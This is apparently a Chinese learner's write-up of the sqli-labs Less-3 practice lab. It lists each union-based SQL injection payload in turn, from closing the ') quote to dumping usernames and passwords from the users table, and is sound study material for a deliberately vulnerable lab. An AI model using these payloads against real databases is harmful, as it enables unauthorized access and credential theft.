sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
JSON_L14 小时前
Fastadmin中实现敏感词管理
数据库·php·fastadmin
不是起点的终点15 小时前
【实战】Python 一键生成数据库说明文档(对接阿里云百炼 AI,输出 Word 格式)
数据库·python·阿里云
2301_8135995517 小时前
Go语言怎么做秒杀系统_Go语言秒杀系统实战教程【实用】
jvm·数据库·python
NCIN EXPE1 天前
redis 使用
数据库·redis·缓存
MongoDB 数据平台1 天前
为编码代理引入 MongoDB 代理技能和插件
数据库·mongodb
极客on之路1 天前
mysql explain type 各个字段解释
数据库·mysql
代码雕刻家1 天前
MySQL与SQL Server的基本指令
数据库·mysql·sqlserver
lThE ANDE1 天前
开启mysql的binlog日志
数据库·mysql
yejqvow121 天前
CSS如何控制placeholder文字的颜色_使用--placeholder伪元素
jvm·数据库·python
handler011 天前
从源码到二进制:深度拆解 Linux 下 C 程序的编译与链接全流程
linux·c语言·开发语言·c++·笔记·学习